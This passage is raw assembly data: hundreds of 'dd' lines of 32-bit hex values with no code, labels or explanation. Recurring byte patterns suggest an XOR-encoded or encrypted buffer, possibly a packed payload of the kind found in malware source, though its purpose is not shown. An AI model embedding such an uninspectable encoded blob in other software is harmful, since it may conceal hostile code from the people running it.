		dd 0A43A3D56h, 3CB13256h, 0EAB1325Ch, 0F601B10Eh, 688231DEh
		dd 0BE3115E4h, 0AF303DA6h, 0ABB13256h, 0A4C1C9D6h, 0D5B180D2h
		dd 0EAA1DB56h, 3E6A3256h, 0F176B606h, 60C9515Ah, 0EDD006B7h
		dd 23583925h, 0CBB13257h, 0DE5880E1h, 54B13256h, 91899D9h
		dd 46D4279Bh, 52D0920Eh, 0AEB120DEh, 57BCDB56h,	4D363256h
		dd 2F43F48h, 7CF82A6Ah,	0B3AD9CE9h, 7D48DB51h, 5DB13311h
		dd 23BE3256h, 57B13251h, 0ABB0BF59h, 0DA483256h, 0EAB124DAh
		dd 75A0DB56h, 4B13256h
		dd 55130E77h, 0EEA237CFh, 53975251h, 205B6345h,	0DA58CE91h
		dd 0BEB13256h, 0ADE003C2h, 0C56F1758h, 5FFBD7h,	6E322622h
		dd 8158C753h, 0A4B13255h, 0D5B120D5h, 0EABCDB56h, 1DF23256h
		dd 2DFE5B81h, 7708E977h, 0C824EB37h, 5FBE3591h,	0ABB121BFh
		dd 534E6456h, 89BEAF75h, 0CAED0A5Bh, 0EF172782h, 8490977Fh
		dd 2E4D2CDCh, 0E3D13DB5h, 0ABBDDB24h, 0F0673256h, 13FED980h
		dd 0D3DB1519h, 0DAD0122Ah, 52D1CADDh, 0AEB132DDh, 36D05256h
		dd 2B7AB237h, 0D5B122BFh, 84363256h, 0B1CA94Bh,	699889BBh
		dd 0CD7AEE44h, 0AFEEBA3Ah, 57B13EBFh, 0D5DAAF56h, 7281BB55h
		dd 0DE6EDA44h, 77F6F5A1h, 0BAB13256h, 5DB122BFh, 0C05DE356h
		dd 0A9FC8CA2h, 2EAD5415h, 7356877Fh, 0E6373D41h, 7AB13256h
		dd 0BAB134D2h, 5D303D56h, 25B13256h, 8F3A5291h,	0ABB121BEh
		dd 47B8D556h, 22BBD06Fh, 0F098C76Dh, 0BBF9DB02h, 0A3A07464h
		dd 0AEB1BC59h, 36EA3256h, 52B7F2D5h, 0D5B6B159h, 60D13256h
		dd 0C560B2A8h, 0B852DB37h, 3B443256h, 3E210CD7h, 57FFB659h
		dd 2B493256h, 50BEA268h, 0EAB13224h, 0FBBE5236h, 0BAB13256h
		dd 0B369B330h, 14D75300h, 31D070D2h, 3B4E4CD7h,	0F0353DC6h
		dd 8AB13256h, 13EAD1D6h, 53D0CADDh, 5DB13210h, 0AEB121BFh
		dd 2B8BF256h, 8CE176A2h, 43281993h, 3A8321D9h, 316BB462h
		dd 5348F5DDh, 5DB130D7h, 0E80F5436h, 57B7DA1Dh,	0F01A3256h
		dd 0DE4E034Ch, 0EAB13DBFh, 3E08A856h, 0A717BF18h, 0A5068E95h
		dd 3F5DD005h, 0D53C530Ch, 0ADA7A7D9h, 0D5B138BFh, 7063B956h
		dd 0D9638F87h, 0EA1B9EA8h, 0DBBE64A3h, 0AEB13257h, 5B3D3DAEh
		dd 0A4B13256h, 0D5B134D6h, 0EA313D56h, 8AB13256h, 0AC2238C4h
		dd 0DCD75250h, 250CEE99h, 97BA53A1h, 0ABD4B659h, 5EBE3256h
		dd 0EAB13241h, 75B120BFh, 87A42756h, 0C7F48C6Ah, 1C7CA1FCh
		dd 58FC3B5Eh, 20F8F2C5h, 0C759529Eh, 77B13256h,	0BA395D0Fh
		dd 5C0EAC3Ch, 0E9FBF10h, 64D6428Eh, 0DDEFCAD7h,	193C53B7h
		dd 0D3A7A7D9h, 0EB3B3DAEh, 8CB13256h, 0BAB1B1BFh, 5DA0DB56h
		dd 0B8E53256h, 663A8018h, 941506C8h, 4E41C8C8h,	0BC2FA460h
		dd 75B6DA36h, 0E3EB3256h, 4C90D38h, 0F0D052AAh,	993A53A3h
		dd 0A4E4CBA3h, 0D5B133D5h, 784ECB56h, 73A7A0BFh, 0BAB4B659h
		dd 0D7D13256h, 0F3D0CB88h, 587F19A3h, 0ABB13DD2h, 0D5BBDB56h
		dd 6A8A3256h, 6D115A50h, 182D863Bh, 0DCD76036h,	0F6E5119Ch
		dd 0A268C537h, 0ABB0B959h, 8B483256h, 0EABBBE59h, 15D13256h
		dd 0FF5EB337h, 3CCFC46Fh, 0AF494FD5h, 5738B759h, 0A3583256h
		dd 6AB13256h, 0D7BA8773h, 0C5FFF9D4h, 35BECE1Fh, 5DB13257h
		dd 28BE98AAh, 57B1325Ah, 0ABB7BA59h, 55BE3256h,	0EAB13256h
		dd 0F0BE8A30h, 0BABBB659h, 0DCD13256h, 33102FBCh, 36778745h
		dd 0A4499930h, 0B5B074E0h, 0EAB13ABFh, 0C4500256h, 3BFEB113h
		dd 0EC08546Fh, 0CE1A53C4h, 0C49A06E8h, 6458530Fh, 0B5B13256h
		dd 0EAA2DA00h, 0C0353256h, 710E2B02h, 1BF85A23h, 0C6CE9DE8h
		dd 0F377AC25h, 0CAE96DA7h, 0D5B0B659h, 69493256h, 7AB3CA2Bh
		dd 0BAB1A0D3h, 0E6075256h, 0A5095437h, 630B529Fh, 42F06264h
		dd 0D5B1325Eh, 6BFD4A0Ah, 7EBFF4CEh, 531A5437h,	5DB1325Fh
		dd 1505501Eh, 0F3EC2C20h, 53D15250h, 0FD93D0D7h, 0E5D044B2h
		dd 75B126DAh, 0BABFDA56h, 0A7A63256h, 0FB02B459h, 97E7CB02h
		dd 22FF3D64h, 6DD75308h, 8C48B659h, 75B4DBFDh, 0E2A13256h
		dd 52D88002h, 57B074E0h, 57B139BFh, 1CAF2256h, 50BD274Ch
		dd 6E02350Fh, 7D3A3DFDh, 0B5B13256h, 5DB130D2h,	47D05256h
		dd 57B13240h, 0ABB0BA59h, 26443256h, 0ED3A3DF2h, 7AB13256h
		dd 0BAB133DFh, 9A3ACA56h, 0C8D169AAh, 8E58E4D7h, 0F0E86200h
		dd 3CD16B37h, 0EAB1325Ch, 40A92AD3h, 0ECCC2EE8h, 0D6D7E93Ah
		dd 47EF538Ch, 57B1325Dh, 6B3E7FDFh, 0FFCAED23h,	0B5751A8Dh
		dd 0F3085436h, 0BAA2DA75h, 74A63256h, 73E14841h, 7E8E97D1h
		dd 56F35ED9h, 0DB7DF768h, 0B1D05227h, 15D1FB37h, 0BAB13DBFh
		dd 6ADA4656h, 0E40A8AC6h, 97EAE99h, 0B1246B85h,	0B409C7D6h
		dd 0E273C737h, 74393D56h, 42B13256h, 5258C703h,	0D4B13256h
		dd 0F6BE9933h, 0D8AE713Bh, 0E6F88DF1h, 63AE1E6h, 75A7B359h
		dd 0AB583256h, 0E1B13256h, 0BAAF1D98h, 95830E7h, 0BEE4C813h
		dd 460055ABh, 0EA59CE36h, 2FB13256h, 7991D8D7h,	0DABE3440h
		dd 0AEB13245h, 57BBDB36h, 3A93256h, 0C67F8A1Bh,	7B529715h
		dd 7AD078E3h, 0BAB137D3h, 0E2BE5256h, 254D53A1h, 0DE4D3A13h
		dd 0BD2342D4h, 0D5B4DB50h, 3F803256h, 9CA67B7Dh, 0BAB13245h
		dd 632654DAh, 8E0EBA69h, 12E5B11h, 0FD0BE608h, 0B41A4C15h
		dd 0EABBBA59h, 0F4D13256h, 72914BBDh, 3C82822Eh, 0A23C3D9Fh
		dd 0BEB13256h, 0ABB13251h, 0E14AC936h, 2811DED5h, 13D13252h
		dd 0A2C5D4D7h, 0A0768836h, 78315475h, 2D053C3h,	0ABB126BFh
		dd 9C73B856h, 3D3550Eh,	8D24F5A8h, 0E7DDB2F7h, 924597ECh
		dd 0CE5DB970h, 57B9DBA3h, 0A16D3256h, 80AD24F4h, 0E5D00271h
		dd 75B13AD4h, 0B8373D56h, 3DB13256h, 5675B137h,	0DDBE52AAh
		dd 0ABB1324Fh, 0D5B126BFh, 0DEF5AA56h, 0BD2D888Ch, 5C85C2DBh
		dd 155F48ABh, 361C573Ah, 57B1DAB4h, 2AEB3256h, 0C37521BCh
		dd 16D1CA50h, 74333D37h, 46B13256h, 5D497791h, 0CEB13256h
		dd 0F46EB330h, 643054ADh, 12D00344h, 0EAB1CE13h, 0F5D13256h
		dd 3BD7379Dh, 3CAB148Fh, 29BEF265h, 57B13251h, 91AF8836h
		dd 3CD0363Dh, 0EAB13244h, 696DEFB9h, 98016E4Dh,	89A15EF3h
		dd 0F48AB52h, 0DCD775E1h, 1E085248h, 0DA855074h, 0EAB137DBh
		dd 84378C56h, 7DD04F35h, 4B25E2D4h, 0AEB13350h,	50373D56h
		dd 0CBB13256h, 315336h,	6BD75375h, 7A21A2ADh, 0BAB12BD3h
		dd 5DBCDB56h, 69833256h, 63E3318Fh, 63231CEh, 0DAC989C0h
		dd 0EAB133DCh, 8E31C756h, 0A4353DBEh, 0B4B13253h, 0AEB13246h
		dd 9BA6A9B9h, 0D3B63A96h, 0CB37307h, 920B4C26h,	75B126BFh
		dd 73418A56h, 0E2A4ED59h, 0B973B241h, 254570FBh, 0D318AD74h
		dd 0D25872C5h, 0B5B13256h, 0B4641576h, 41317239h, 87353DBFh
		dd 5BB13252h, 0D3BE5216h, 0ABB13259h, 0D5B138BFh, 0EDF12156h
		dd 66B51436h, 0B54ED807h, 5DB130DFh, 0CF218056h, 585AC9D6h
		dd 0ABB582D2h, 3CD1CE56h, 0EAB13251h, 0BB67FC53h, 0ECC69E77h
		dd 0F9A6FAD7h, 0CFE802D4h, 57BDDB16h, 6F783256h, 0D609FA97h
		dd 19A15335h, 9231C642h, 0BB343DA6h, 0A1B13256h, 0A14AB330h
		dd 25353DD6h, 0CBB13252h, 0B3EBC704h, 0E9D0C1DDh, 659BF3D4h
		dd 0B2363D50h, 52B13256h, 0AEB130D2h, 0BED05256h, 0ABB13258h
		dd 8BEEA222h, 0E6B3E035h, 6583615Eh, 4FF140ACh,	5253C9D6h
		dd 0AEB51BD2h, 57BFDB56h, 8C673256h, 0FF2A02Dh,	0C5AF0A09h
		dd 60850738h, 0B552C9D6h, 5DB2D3D2h, 0CF445256h, 304AB330h
		dd 54353DB5h, 3CB13255h, 0EAB13250h, 0CE0A15C0h, 5931F9B9h
		dd 0DC4952A6h, 43D0409Ch, 0AC31533Ch, 45353D26h, 3CB13255h
		dd 0EAB13242h, 43607759h, 8862FB6Ah, 33E49FC6h,	0CB022415h
		dd 0B2617B1Ch, 0ABA5B159h, 51BE3256h, 0EAB13258h, 75B13BBFh
		dd 825AFB56h, 5A9B1DCCh, 25D7A11Ch, 0B431CB48h,	5031CBAEh
		dd 70353DEEh, 3B13257h,	75B1325Ch, 6BA2B68Ah, 0B5395042h
		dd 9031E2E3h, 0DA353D53h, 0A4B13257h, 0D5B12CD3h, 62BE5256h
		dd 75B13256h, 0BAB122BEh
		dd 0D28D0E56h, 3EED498Fh, 0D7D49381h, 0D81B056h, 0DAD06BCCh
		dd 0EAB13ED3h, 73343D56h, 0B5B13256h, 5DB132D7h, 838FB256h
		dd 56FFB659h, 0A2583256h, 17B13256h, 8D951F55h,	0C4858318h
		dd 0B03D3D36h, 0B4B13256h, 0AEB13253h, 4728BF45h, 4B0A54CDh
		dd 0EB3153BCh, 0CB353D3Eh, 89B13257h, 0E1E75216h, 3C45C7D6h
		dd 3A61B0A9h, 37D13440h, 2AD7E1DDh, 0B46F908Eh,	0F43A5437h
		dd 75B9BE59h, 3BBE3256h, 5DB13254h, 0C8D15336h,	3DDCF4D7h
		dd 16EE9D7h, 55D023E0h,	0E658CAB1h, 4AB13256h, 8C4554BDh
		dd 68EABE8Fh, 0C8CF70C9h, 0BF30C9D7h, 0AB7BB659h, 0B5D13256h
		dd 6757B330h, 14EF608Eh, 0BAB0BC59h, 3C443256h,	56AFB930h
		dd 3741D5D6h, 0CA4B8559h, 0D5B134BFh, 0C6EE1C56h, 13D0EA9Ch
		dd 7A30C9D7h, 5D27B659h, 24BE3256h, 57B13240h, 0ABB123BFh
		dd 0EC0E6556h, 0E9E748C3h, 27B6B0B7h, 6B1FE846h, 545871BFh
		dd 45B13256h, 4D6D0143h, 7714E0DAh, 0DAE4CE36h,	0EAB12AD0h
		dd 70595256h, 67B13256h, 748E97D1h, 0AEB4DA0Fh,	4DCD3256h
		dd 0F02A057Ah, 3C23CD37h, 12B724C4h, 0FC446FAFh, 34BECE13h
		dd 5DB13251h, 0AEB0B259h, 364D3256h, 0ABB6B859h, 6BD13256h
		dd 9C887DCAh, 89CCB137h, 1343D57h, 0B4B13250h, 0AEB13242h
		dd 3DB062D8h, 84D999A6h, 7D153DDEh, 967957CFh, 0C9B9DDB4h
		dd 0B12488DDh, 0D3BE3446h, 0AEB1325Eh, 57B3B259h, 0CAD13256h
		dd 573AC706h, 0ECA7A686h, 7F3E3DAFh, 0DAB13256h, 0D7BEE3DDh
		dd 0AEB13256h, 678D0B37h, 0ABBBB159h, 83D13256h, 0EA3D3D0Eh
		dd 14B13256h, 0E1333D0Eh, 0B4B13250h, 0AEB13259h, 765A1225h
		dd 0FCFE0B1h, 3B7235FFh, 8A4AAF61h, 0F513D1D6h,	31D077B0h
		dd 4D98C3ECh, 0A6585250h, 0DEB13256h, 1B925946h, 0B3D50E35h
		dd 0BAD0F9DDh, 75A5B959h, 30BE3256h, 5DB13258h,	0AEB13BBFh
		dd 0B554FA56h, 0C2346E68h, 573AD07Bh, 0ECA7A686h, 75B126BFh
		dd 6C2AE256h, 0E075387h, 60A6EFF6h, 976DF306h, 132C10AEh
		dd 0E58D0B68h, 0EABFDA36h, 51E3256h, 97B89AA2h,	312269D4h
		dd 0C8E5AE50h, 58E95336h, 0ABB136DEh, 0F2095456h, 0FA585336h
		dd 2AB13256h, 60FF3C65h, 0D67475AAh, 0AB33CD24h, 0F7FE498h
		dd 0AE1DBD59h, 5E483256h, 0FC2316ECh, 75A3DB50h, 1B8E3256h
		dd 3917D0EBh, 0B4647428h, 0EF7AF67Dh, 55A57F7Ah, 0D5B13EBFh
		dd 0F374BF56h, 291FCD38h, 0AFB7D503h, 7933B1B6h, 0BAB724C4h
		dd 0DD0F5436h, 0A6B6892Bh, 5CD02225h, 64BE5261h, 75B13255h
		dd 0DB4BB930h, 0B4A175DFh, 0AEB13258h, 6FA0CA33h, 977F3906h
		dd 4F5F2EF7h, 0E5E1F5D3h, 75B13BD1h, 0B5485256h, 5DB132D1h
		dd 25495356h, 4125E2D4h, 0ABB6DB50h, 81B03256h,	0D4543EA3h
		dd 45ADB92Bh, 0BF3C3D36h, 0E7B13256h, 0C4B1A18Dh, 37D9EDD7h
		dd 0F3D0054Bh, 0D5B7B559h, 0BDD13256h, 1471810Dh, 46B96DDFh
		dd 5DB5CBBFh, 0AEBDDB56h, 94C33256h, 67DE6FFDh,	0FCE5776Eh
		dd 0E1584550h, 0CBB13256h, 127A66B9h, 0CC2930F0h, 0EB76775Ch
		dd 57B130AEh, 443B5256h, 0D5B13DBEh, 77B11356h,	6508E308h
		dd 0AA5C372Dh, 86A05FD9h, 0B858530Dh, 58B13256h, 0ABB133D9h
		dd 9076CE56h, 0EAB133AEh, 0CED75256h, 43067000h, 790BB937h
		dd 0CEB724C4h, 84BA7E8h, 6A30542Eh, 56D08F00h, 0FC2316D4h
		dd 0F5BE2650h, 0BAB13258h, 5DB13BBFh, 46D44B56h, 0FA2327BEh
		dd 9C388B99h, 0C5F6BBAEh, 0E949B1AFh, 75CCB759h, 36BE3256h
		dd 5DB1324Dh, 0AEA4B059h, 47583256h, 71B13256h,	2624EF1h
		dd 387B5CFCh, 0C53640D5h, 0B566A0F1h, 5DB13CD6h, 60305256h
		dd 37D3CFDEh, 0ABB1B259h, 12D03256h, 0FC25E2D4h, 75B13050h
		dd 0B3595256h, 88B13256h, 5394C5B6h, 0C2DDAAA1h, 0BF596AAAh
		dd 0C3B13256h, 8D949341h, 827F57Fh, 2759924Eh, 0D598BCA0h
		dd 0A18A50AFh, 57B132D0h, 42D06A56h, 0D5B13241h, 0EAB0B759h
		dd 0F6483256h, 37BE30AEh, 5DB1306Dh, 0AEB0B959h, 0D44D3256h
		dd 0A4B1CA2Bh, 0D5B18DD2h, 0EAA0DB56h, 0F2563256h, 2AB08439h
		dd 0DC6C6054h, 0AEEB91E9h, 37EC638Ah, 0ABB13BBFh, 33BDD256h
		dd 0F9F30013h, 0DD038641h, 0FC073D37h, 5DBEDB57h, 3C9F3256h
		dd 9EA8D40Eh, 39CA1580h, 0EDEEE815h, 0EA319B48h, 0F0BE3256h
		dd 0BAB13202h, 8B305436h, 0CF443C3Bh, 57B9DB16h, 8FA53256h
		dd 11962B7Ah, 2324EC1h,	743A3D53h, 43B13256h, 5DB10BBFh
		dd 0AEBEDB56h, 2FC33256h, 0D80800C4h, 8C53FCCFh, 0EA5793F0h
		dd 60383DBEh, 0B5B13256h, 5DB13DDAh, 0AEBBDB56h, 0A5EB3256h
		dd 7E492B91h, 24EDD80Ah, 0EAB1CD7Bh, 9D32CE56h,	8558CA53h
		dd 0B4B13256h, 0AEB13253h, 0F68DFC5Dh, 0AA3E3D4Ah, 20B13256h
		dd 0EAA5DB05h, 8FB83256h, 0CF0FDE57h, 8489B2BBh, 0FF078D38h
		dd 71B871C1h, 313A81F5h, 0D3A7A686h, 0D9B5B9A3h, 0F4D169AFh
		dd 0BDE223BFh, 5D18534Fh, 0A1313256h, 57B1A8D3h, 0ABB9DB56h
		dd 1DFA3256h, 5BF90C4h,	9DD10332h, 0BAB13247h, 2C467E50h
		dd 0D7BE216Ch, 0B1606708h, 0DD06A866h, 43A5464h, 3C063D0Eh
		dd 15773137h, 0B5688D59h, 5DB134DEh, 0AE353D56h, 36B13256h
		dd 0A4B4F2D5h, 0D5B13BDDh, 203A5256h, 217BB330h, 38B25396h
		dd 5BA7A686h, 5BD17AAFh, 0DBBE5237h, 0ABB13250h, 0C166E9D7h
		dd 63D03E8Ah, 0FC493A11h, 0DCD13E11h, 0D5DAF9D7h, 47D0EADDh
		dd 57B13004h, 0ABB0BE59h, 0B5443256h, 0EAB135BEh, 3806C556h
		dd 98DD5DABh, 3BEBEADDh, 59D0C0DDh, 5B3D3D8Eh, 0A4B13256h
		dd 0D5B134D5h, 0EA3C3D56h, 8DB13256h, 4D48F47Dh, 5DA2DB8Eh
		dd 96A43256h, 265587C2h, 42EE233Fh, 6EE0A087h, 0F340406Bh
		dd 7071B1A4h, 0BAB9B759h, 0D4BE3256h, 0AEB13254h, 0D5B25336h
		dd 0ADA7A686h, 0B5D05236h, 0FF04D3DCh, 22D15337h, 30E8CBE4h
		dd 0A1F953B5h, 0CEB975DFh, 57BDDB04h, 4C2D3256h, 0BCC6E931h
		dd 0D9A7F179h, 0F4E9D7C1h, 0D55D71BEh, 1A385341h, 0A358525Ah
		dd 0B2B13256h, 0E439DD34h, 47F631EAh, 90064CE1h, 7411DB37h
		dd 89443256h, 1B3BCA96h, 23BE5257h, 57B13254h, 3D06D06h
		dd 69343DD6h, 12B13256h, 75B0B559h, 0B94D3256h,	5DB8DB90h
		dd 0A1F03256h, 0D17752B1h, 289F24A2h, 0C7583096h, 72B13256h
		dd 0FDB5D7E4h, 87782C1Ch, 44C3271Eh, 0AD5E71ABh, 57B089DEh
		dd 0A7583256h, 18B13256h, 604E9848h, 1E5D4EC4h,	0B14309B9h
		dd 6E353D8Dh, 47B13256h, 57B13245h, 157C75E2h, 5301F2B2h
		dd 3D039018h, 0AA1FB285h, 53C97A2Ch, 5DB1325Dh,	902437E5h
		dd 72D9037Bh, 212D37DEh, 0C0018CCCh, 931C750h, 0B6B2C757h
		dd 0B2F6BBAAh, 0DCD752AFh, 0C8ACAE95h, 0B804D4D7h, 0A7F6BB37h
		dd 0D559DBAEh, 69BE3256h, 75B13241h, 0BAB120BFh, 45CA1756h
		dd 0C87B0868h, 195144A3h, 6D359342h, 225941E4h,	0F8313D8Eh
		dd 15B13256h, 0BAB135BEh, 0C3B77C56h, 97C8F2B5h, 9D3A540Fh
		dd 0AB4E1737h, 5CBE3256h, 0EAB13258h, 75B13BBFh, 91EE3156h
		dd 42EC295Dh, 25D1A0BBh, 5C333DA7h, 42B13256h, 0D5B13250h
		dd 2EF25667h, 5ED06975h, 0A2333D90h, 0B4B13256h, 0AEB13245h
		dd 6945DC78h, 2EBF4A28h, 1FC37E65h, 56D82078h, 825EEC43h
		dd 0B13D3D8Eh, 0B4B13256h, 0AEB13250h, 0FD11F8F2h, 6B327CD7h
		dd 0D5A0DB54h, 2A1D3256h, 886F417Eh, 1D144DF4h,	1923D067h
		dd 27FCAD30h, 59583A11h, 0D6B13256h, 0E6F320A7h, 5F1E55h
		dd 90B512D0h, 0B6F6BB30h
		dd 5DA9BF59h, 0BD583256h, 9EB13256h, 513228EBh,	4B550EB5h
		dd 0A409FFA7h, 1CE2470Ah, 5349ADA5h, 5DB13244h,	0A557E88Eh
		dd 0AB75CCC2h, 69ADB5Fh, 0F0C7D258h, 3D01A60h, 75B1325Fh
		dd 38E1CB60h, 17C5F936h, 4778CE14h, 57B13245h, 0A789EFE5h
		dd 1FFC0008h, 2A9DEF29h, 487577FEh, 0DA8D8C03h,	527FB930h
		dd 6DD0E4E9h, 57B139BFh, 656B0256h, 593C3ECBh, 0B6C9FE79h
		dd 74333D03h, 4FB13256h, 52D1DEDDh, 0AEB134DCh,	57383D56h
		dd 52B13256h, 2975B137h, 0E45852AEh, 7FB13256h,	7D4BAD4Bh
		dd 7CA6A407h, 8633FA0Dh, 37D0C7F3h, 0ABB13DBFh,	0DA74E156h
		dd 2A1845CDh, 0BE735E59h, 4A238458h, 5DB132BEh,	44306856h
		dd 51A7FD7Ch, 95DF8D36h, 5ED70496h, 8CD153A4h, 0D563C0D7h
		dd 440BB937h, 0A1B724C7h, 0A158FB65h, 0BEB13256h, 6A973580h
		dd 0F1BBA40Ch, 0F529129Ch, 4A325D28h, 3C353D56h, 0B4B13253h
		dd 0AEB1325Bh, 46E53F71h, 15670C4Ah, 517574E9h,	8AB6B96Dh
		dd 75B3B659h, 0DBD13256h, 89CFEDD7h, 51D01A99h,	0D7BE3E23h
		dd 0ABB13251h, 0D5B0BA59h, 0E5443256h, 75B13BD7h, 5BE5256h
		dd 0B40E5484h, 0DB4E5389h, 5B353D5Eh, 0A4B13256h, 0D5B134DDh
		dd 0EA3A3D56h, 25B13256h, 0BABDB359h, 0D9BE3256h, 0AEB13250h
		dd 57B1BC59h, 434D3256h, 0D5B13B02h, 0E57139AEh, 75B17CD3h
		dd 0BD313D56h, 3DB13256h, 0FED5E0D6h, 503A530Dh, 0ABB120BFh
		dd 0D6E41256h, 273345B8h, 0BDC2A01Dh, 0CC9F145Ch, 52B7DF1Dh
		dd 0AEB124DAh, 57A0DB56h, 0F7AB3256h, 0EA1ECC57h, 6B0DA7A5h
		dd 4F92A73Eh, 53B0662Bh, 5DB13267h, 0AEB0BF59h,	0D4443256h
		dd 0A4492691h, 0D5B13CDFh, 0EAB8DB56h, 108C3256h, 45A03B02h
		dd 0B4B3D97Dh, 514ECD44h, 57B6B059h, 28BE3256h,	0D5B13257h
		dd 16F4BBAEh, 8AD0CE36h, 35BE3E23h, 5DB1325Ch, 0A1498036h
		dd 57B132D4h, 0DE4E5356h, 3330525Eh, 0BA73EE86h, 424E53A3h
		dd 0BAB120BFh, 0E7306C56h, 0BF13D527h, 0B70D0C94h, 0E4B15142h
		dd 3D95CD92h, 0EAB13AC6h, 75B0BE59h, 42493256h,	0D9BEF25Dh
		dd 0AEB13243h, 538ADBAAh, 28BE3256h, 0D5B13257h, 55BE52AFh
		dd 0AC3A54A8h, 46F4B937h, 52B60BAAh, 0AEB512D4h, 5C343D56h
		dd 0CBB13256h, 0DA798559h, 0EAB132DBh, 304E5356h, 36BE52AAh
		dd 5DB13241h, 0AEB123BEh, 67497C56h, 0FECE20EAh, 0C9789D2Eh
		dd 79FF0B20h, 7AEB7347h, 42D0FDE9h, 5DB54DD5h, 0AEF6B659h
		dd 0DDBE3256h, 0ABB1325Dh, 0D5B134BFh, 0FCB94B56h, 0F67BC68Ch
		dd 0B5B13E29h, 5DB11ED2h, 0A6343D56h, 58B13256h, 0ABB130D2h
		dd 3CD05256h, 0EAB132D2h, 75A1DB36h, 33F53256h,	0E8948DA5h
		dd 65330F5Dh, 9C443F18h, 690277FDh, 2A4E8A37h, 67BECDA9h
		dd 75B1325Ah, 0BAB7B259h, 0D2BE3256h, 0AEB13256h, 57B137EFh
		dd 0AA383D56h, 20B13256h, 2D199A5h, 75B1325Ch, 6E55F091h
		dd 36005DEEh, 0A758AD24h, 0FB13256h, 0F113941Eh, 0EBB0AE7Fh
		dd 90F5408h, 0C9585320h, 0B54ECDA8h, 5DB125D7h,	0AEA3DB56h
		dd 0F0F43256h, 41025F47h, 0F683FE7Fh, 2090F6FFh, 0DF2D0EEDh
		dd 0BFA14DD5h, 5D15B659h, 22BE3256h, 57B1325Eh,	0ABB3BA59h
		dd 0B4D13256h, 0ECA14DD5h, 7578B759h, 3EBE3256h, 5DB13272h
		dd 0AEB6DA36h, 0ADF23256h, 0CCF15F5h, 0C5586C56h, 7B13256h
		dd 2E8DBA20h, 4FFACCD3h, 31AB0EEFh, 0CFBB1049h,	0DCBE5217h
		dd 0ABB13253h, 8938D2E8h, 0EABDDB61h, 0A6773256h, 0E7984F97h
		dd 7F255D83h, 25D05337h, 31D13611h, 7A31FCDDh, 5EBE5380h
		dd 0EAB1325Ah, 75B7BF59h, 3BBE3256h, 5DB13256h,	0CEBD6DDDh
		dd 5845E0E9h, 0A666B319h, 0B4BFF065h, 0EAB301BFh, 75BDDB56h
		dd 82223256h, 8928C24h,	0F6EC98D2h, 103ADA4Dh, 0C2085252h
		dd 54DAF96Eh, 0B8E8C08Fh, 2A3A5334h, 3DBE525Ah,	5DB13241h
		dd 0AEB123BEh, 549D3456h, 0FA20B321h, 0DC2EF0EEh, 0C094602Ch
		dd 0CDEA0293h, 0B4A3C42Bh, 5C52DB37h, 25483256h, 0D0BE3611h
		dd 0ABB13257h, 0D9EEB9A3h, 0EAB120BFh, 7E014956h, 44EB6B38h
		dd 198C1F64h, 22FBD4EDh, 6CCCA234h, 2EBE3A09h, 0D5B132A4h
		dd 0EAB135BFh, 96B256h,	4F9E59FAh, 55595204h, 0ECB13256h
		dd 0EB3555DCh, 4247C7B0h, 0D5B13251h, 598FF181h, 2E9B3A5Bh
		dd 0BAB135BFh, 0C8B8D56h, 59C710C5h, 53E6B937h,	0BBE419AAh
		dd 69095436h, 8BBA8227h, 7AA56755h, 0BAB12BDDh,	5DA5DB56h
		dd 8D8E3256h, 0EE523F72h, 41B6B8B4h, 6BAAE483h,	0E2E12DFCh
		dd 2A3A3561h, 0BABDDB5Ah, 550C3256h, 937F08ACh,	72BB4331h
		dd 719A4404h, 0D5B135BFh, 0C5CC2556h, 0E40FC241h, 0B5B4D9D5h
		dd 5DB135D9h, 0AF3D3D56h, 0AEB13256h, 7D3A5436h, 0B4CEF0D6h
		dd 8CE0520Ch, 2BEA96EFh, 7A5853A3h, 0B4B13256h,	0AEB1325Ch
		dd 0F8478E22h, 0DFA1FE91h, 5BBE04AFh, 0EAB13278h, 75BFDA36h
		dd 3B9B3256h, 0E154A898h, 73EFC327h, 0A90381E3h, 0ABA2DB08h
		dd 0BFDC3256h, 837A11E2h, 42A5966Dh, 0EB58ED25h, 3D44B236h
		dd 0E93A5352h, 0ECD75252h, 0CBD121D9h, 0B4D0C737h, 3BD6DDDh
		dd 75B1325Fh, 364323A4h, 717907FCh, 0F19ACBABh,	57B4DB52h
		dd 79613256h, 0DA1FC337h, 0EAB13ADBh, 13495256h, 0D187E4D7h
		dd 585AB137h, 47758136h, 57B1325Eh, 3A529715h, 0D5E22475h
		dd 0EABCDB37h, 0D7D63256h, 3A2BEC7h, 28086EE4h,	0AD288A58h
		dd 4796E3DCh, 20BE5250h, 0D5B13250h, 0EAB1B159h, 0F9BE3256h
		dd 0BAB13254h, 0DED05336h, 0A1B22229h, 57B10ED3h, 0A3393D56h
		dd 0B5B13256h, 207D8D30h, 15D044E0h, 0BAB3B859h, 0AE003256h
		dd 0AEBEDB36h, 70C03256h, 992D56BAh, 0BC68BF85h, 7BA6349Fh
		dd 0BF3A54F9h, 0B5F05337h, 5DB136D4h, 763A5256h, 0AF681937h
		dd 0AAB06EDFh, 2A4E8AAAh, 0FE58CDA9h, 0B4B13256h, 0B92623C7h
		dd 7E6A31E6h, 4FAD5036h, 0D65AF233h, 53CC30EBh,	0D5B137EFh
		dd 6EBE5256h, 75B13254h, 49D0C5DDh, 5DA1DBFDh, 3B073256h
		dd 9B9F2EB7h, 52E82DFFh, 65452AB7h, 6A58107Ch, 7A4ECDADh
		dd 0BAB13ADCh, 5F333D56h, 0CEB13256h, 5E585337h, 28B13256h
		dd 2CB85E9Ah, 0D0767FE7h, 93305236h, 0C730FD65h, 3D785337h
		dd 0AEB13CBFh, 0A2219856h, 0B7AFEA6h, 0B4720273h, 32C2AA6h
		dd 75B1325Fh, 1ED36A88h, 0D5507B4Bh, 0BE7353F7h, 58E4CA56h
		dd 0ABB12AD0h, 8EE75256h, 0EAB13CBEh, 5BD67656h, 7816D2F3h
		dd 1CD5CD52h, 0F0F96589h, 58363D37h, 42B13256h,	0D5B1325Ch
		dd 0ECBFE996h, 406DF608h, 563ADE3Ch, 0A175B1AAh, 0AB5852AFh
		dd 0D7B13256h, 0BFBE4AE3h, 0D5B132BEh, 306856h,	73A7E72Ch
		dd 3ACBAAh, 5BA7A3A8h, 0CE4D52AEh, 0EC76B330h, 98D053CBh
		dd 0D5B4DB9Fh, 0F9A53256h, 0F6415237h, 3EBE3269h, 5DB13102h
		dd 57B6B9A3h, 37BD47A9h, 6C666DECh, 0D5BADA7Eh,	593B3256h
		dd 79BBBCCFh, 4D6AD5C6h, 0A2D06DE0h, 0A5583A23h, 0DEB13256h
		dd 5C2CA93Bh, 39FF46Eh,	61BE5EB8h, 75B13246h, 0BAB139BFh
